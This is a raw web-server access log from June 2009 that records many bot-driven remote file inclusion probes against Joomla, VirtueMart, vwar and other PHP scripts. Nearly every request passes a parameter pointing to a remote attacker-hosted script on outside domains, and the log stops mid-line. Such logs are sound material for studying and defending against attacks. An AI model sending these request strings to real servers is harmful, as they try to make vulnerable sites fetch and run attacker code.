/rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 554 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:57:15 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 302 808 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:57:16 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 302 808 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:57:17 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 33724 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:57:17 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 33724 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:57:22 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 554 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:57:38 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 554 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:57:38 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 302 808 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:57:39 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 33724 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:58:35 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 554 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:58:35 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 302 808 "-" "Mozilla/5.0" 193.243.139.4 - - [23/Jun/2009:12:58:36 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://wijaya.kilu.de/Fx29ID.txt? HTTP/1.1" 404 33724 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:13:11:16 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 559 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:13:11:17 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:13:11:18 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 34205 "-" "Mozilla/5.0" 85.214.145.133 - - [23/Jun/2009:13:16:53 -0600] "GET /rfi.txt//administrator/components/com_moofaq/css/file_includer.php?file=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 559 "-" "Mozilla/5.0" 85.214.145.133 - - [23/Jun/2009:13:16:53 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 302 813 "-" "Mozilla/5.0" 85.214.145.133 - - [23/Jun/2009:13:16:54 -0600] "GET //administrator/components/com_moofaq/css/file_includer.php?file=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 33756 "-" "Mozilla/5.0" 208.111.94.201 - - [23/Jun/2009:13:25:18 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.petitbijouonline.com/includes/lib/fatal1.txt???? HTTP/1.1" 404 574 "-" "Mozilla/5.0" 208.111.94.201 - - [23/Jun/2009:13:25:17 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.petitbijouonline.com/includes/lib/fatal1.txt???? HTTP/1.1" 302 824 "-" "Mozilla/5.0" 208.111.94.201 - - [23/Jun/2009:13:25:18 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://www.petitbijouonline.com/includes/lib/fatal1.txt???? HTTP/1.1" 404 33910 "-" "Mozilla/5.0" 211.233.11.27 - - [23/Jun/2009:13:33:52 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.votaya.com//pics/site/image?? HTTP/1.1" 302 827 "-" "libwww-perl/5.79" 211.233.11.27 - - [23/Jun/2009:13:33:53 -0600] "GET //components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.votaya.com//pics/site/image?? HTTP/1.1" 404 33824 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:01 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:02 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 110855 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:04 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:05 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 110783 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:14 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:15 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 797 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:16 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47079 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:17 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:18 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 797 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:40:19 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47113 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:32 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 797 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:33 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:34 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47080 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:34 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 110948 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 818 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:36 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 763 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:37 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 797 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:37 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111028 "-" "libwww-perl/5.79" 193.87.99.18 - - [23/Jun/2009:13:41:39 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47079 "-" "libwww-perl/5.79" 216.66.76.19 - - [23/Jun/2009:13:50:20 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 404 579 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 216.66.76.19 - - [23/Jun/2009:13:50:20 -0600] "GET /rfi.txt%22%20%20target=%22_blank//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 302 866 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 216.66.76.19 - - [23/Jun/2009:13:50:20 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 302 833 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 216.66.76.19 - - [23/Jun/2009:13:50:20 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 404 33960 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 216.66.76.19 - - [23/Jun/2009:13:50:20 -0600] "GET /rfi.txt%22%20%20target=%22_blank//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 404 34027 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 216.66.76.19 - - [23/Jun/2009:14:10:42 -0600] "GET /rfi.txt//show_image_in_imgtag.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 404 553 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 216.66.76.19 - - [23/Jun/2009:14:10:42 -0600] "GET //show_image_in_imgtag.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 302 807 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 216.66.76.19 - - [23/Jun/2009:14:10:43 -0600] "GET //show_image_in_imgtag.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 404 33850 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1" 203.237.238.234 - - [23/Jun/2009:14:16:22 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 610 "-" "Mozilla/5.0" 203.237.238.234 - - [23/Jun/2009:14:16:22 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 302 864 "-" "Mozilla/5.0" 203.237.238.234 - - [23/Jun/2009:14:16:23 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 33975 "-" "Mozilla/5.0" 124.0.139.129 - - [23/Jun/2009:14:26:41 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 302 878 "-" "Mozilla/5.0" 124.0.139.129 - - [23/Jun/2009:14:26:41 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 302 864 "-" "Mozilla/5.0" 124.0.139.129 - - [23/Jun/2009:14:26:42 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 34036 "-" "Mozilla/5.0" 124.0.139.129 - - [23/Jun/2009:14:26:42 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 33975 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:14:29:31 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 526 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:14:29:34 -0600] "GET ///vwar/backup/errors.php?error=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 302 780 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:14:29:35 -0600] "GET ///vwar/backup/errors.php?error=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 34167 "-" "Mozilla/5.0" 203.189.120.183 - - [23/Jun/2009:14:34:15 -0600] "GET //errors.php?error=http://solelyyoursgem.com/img/products/april/bot/racrew/id.txt??? HTTP/1.1" 302 794 "-" "libwww-perl/5.813" 203.189.120.183 - - [23/Jun/2009:14:34:16 -0600] "GET //errors.php?error=http://solelyyoursgem.com/img/products/april/bot/racrew/id.txt??? HTTP/1.1" 404 33710 "-" "libwww-perl/5.813" 218.30.100.97 - - [23/Jun/2009:14:35:47 -0600] "GET /rfi.txt//errors.php?error=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 513 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:14:35:48 -0600] "GET //errors.php?error=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 302 767 "-" "Mozilla/5.0" 218.30.100.97 - - [23/Jun/2009:14:35:49 -0600] "GET //errors.php?error=http://ipr2.apg.kr/ipr/language/1.txt? HTTP/1.1" 404 33877 "-" "Mozilla/5.0" 124.0.139.129 - - [23/Jun/2009:14:42:46 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 610 "-" "Mozilla/5.0" 203.189.120.183 - - [23/Jun/2009:14:50:55 -0600] "GET /rfi.txt//errors.php?error=http://solelyyoursgem.com/img/products/april/bot/racrew/id.txt??? HTTP/1.1" 404 540 "-" "libwww-perl/5.813" 203.237.238.234 - - [23/Jun/2009:15:28:17 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 302 864 "-" "Mozilla/5.0" 203.237.238.234 - - [23/Jun/2009:15:28:17 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 302 878 "-" "Mozilla/5.0" 203.237.238.234 - - [23/Jun/2009:15:28:17 -0600] "GET /rfi.txt%20%20///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 34036 "-" "Mozilla/5.0" 203.237.238.234 - - [23/Jun/2009:15:28:17 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 33975 "-" "Mozilla/5.0" 65.254.216.47 - - [23/Jun/2009:15:32:49 -0600] "GET /rfi.txt%20%20///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 798 "-" "Mozilla/5.0" 65.254.216.47 - - [23/Jun/2009:15:32:49 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 65.254.216.47 - - [23/Jun/2009:15:32:50 -0600] "GET /rfi.txt%20%20///?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 33750 "-" "Mozilla/5.0" 65.254.216.47 - - [23/Jun/2009:15:32:50 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 111547 "-" "Mozilla/5.0" 124.0.139.129 - - [23/Jun/2009:15:33:56 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 610 "-" "Mozilla/5.0" 124.0.139.129 - - [23/Jun/2009:15:33:56 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 302 864 "-" "Mozilla/5.0" 124.0.139.129 - - [23/Jun/2009:15:33:58 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.teresuelvo.com///administrator/components/com_virtuemart/id1.txt? HTTP/1.1" 404 33975 "-" "Mozilla/5.0" 216.55.183.191 - - [23/Jun/2009:15:34:34 -0600] "GET /rfi.txt%20%20///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 798 "-" "Mozilla/5.0" 216.55.183.191 - - [23/Jun/2009:15:34:34 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 216.55.183.191 - - [23/Jun/2009:15:34:34 -0600] "GET /rfi.txt%20%20///?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 33917 "-" "Mozilla/5.0" 216.55.183.191 - - [23/Jun/2009:15:34:34 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 112031 "-" "Mozilla/5.0" 216.55.183.191 - - [23/Jun/2009:15:39:12 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 532 "-" "Mozilla/5.0" 81.177.9.20 - - [23/Jun/2009:15:43:08 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 762 "-" "Mozilla/5.0" 81.177.9.20 - - [23/Jun/2009:15:43:08 -0600] "GET /rfi.txt%20%20///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 302 798 "-" "Mozilla/5.0" 81.177.9.20 - - [23/Jun/2009:15:43:09 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 200 111089 "-" "Mozilla/5.0" 81.177.9.20 - - [23/Jun/2009:15:43:12 -0600] "GET /rfi.txt%20%20///?_SERVERDOCUMENT_ROOT=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 34175 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:15:47:04 -0600] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 302 876 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:15:47:04 -0600] "GET /rfi.txt%20%20/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 302 910 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:15:47:06 -0600] "GET /rfi.txt%20%20/?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 404 34201 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:15:47:06 -0600] "GET /?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 200 111551 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:15:47:41 -0600] "GET /rfi.txt%20%20/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 302 910 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:15:47:41 -0600] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 302 876 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:15:47:43 -0600] "GET /rfi.txt%20%20/?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 404 34202 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:15:47:43 -0600] "GET /?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 200 111569 "-" "Mozilla/5.0" 81.177.9.20 - - [23/Jun/2009:15:49:30 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://aglifestylesmarketplace.com/AinuLid1.txt?? HTTP/1.1" 404 532 "-" "Mozilla/5.0" 87.230.22.39 - - [23/Jun/2009:15:53:49 -0600] "GET /components/com_virtuemart/install.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 302 817 "-" "Mozilla/5.0" 87.230.22.39 - - [23/Jun/2009:15:53:49 -0600] "GET /rfi.txt%20%20/components/com_virtuemart/install.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 302 831 "-" "Mozilla/5.0" 87.230.22.39 - - [23/Jun/2009:15:53:50 -0600] "GET /components/com_virtuemart/install.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 33781 "-" "Mozilla/5.0" 87.230.22.39 - - [23/Jun/2009:15:53:50 -0600] "GET /rfi.txt%20%20/components/com_virtuemart/install.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 33837 "-" "Mozilla/5.0" 87.230.22.39 - - [23/Jun/2009:16:05:41 -0600] "GET /rfi.txt/components/com_virtuemart/install.php?mosConfig_absolute_path=http://lineage2.stratics.com/staff/id.txt??? HTTP/1.1" 404 563 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:16:48:54 -0600] "GET /rfi.txt%20%20/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 302 910 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:16:48:54 -0600] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 302 876 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:16:48:55 -0600] "GET /rfi.txt%20%20/?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 404 34202 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:16:48:55 -0600] "GET /?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 200 111587 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:16:49:02 -0600] "GET /index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 302 876 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:16:49:03 -0600] "GET /rfi.txt%20%20/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 302 910 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:16:49:03 -0600] "GET /?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 200 111915 "-" "Mozilla/5.0" 210.109.101.217 - - [23/Jun/2009:16:49:05 -0600] "GET /rfi.txt%20%20/?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=http://bidbpersonel.trakya.edu.tr/sgdb/iks_sistem/iks_dosyalar/d-sg/3/8/8.1/id1.txt?? HTTP/1.1" 404 34202 "-" "Mozilla/5.0" 63.223.104.57 - - [23/Jun/2009:17:11:13 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://vpk66.ru/images/stories/idd.txt?? HTTP/1.1" 404 573 "-" "libwww-perl/5.810" 63.223.104.57 - - [23/Jun/2009:17:11:13 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://vpk66.ru/images/stories/idd.txt?? HTTP/1.1" 302 827 "-" "libwww-perl/5.810" 63.223.104.57 - - [23/Jun/2009:17:11:14 -0600] "GET //administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://vpk66.ru/images/stories/idd.txt?? HTTP/1.1" 404 33868 "-" "libwww-perl/5.810" 216.66.76.19 - - [23/Jun/2009:17:43:50 -0600] "GET /rfi.txt//index1.php?mosConfig_absolute_path=http://kcthome.co.kr/toure/id.id.r.txt.txt%0D? HTTP/1.1" 404 539 "-" "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; 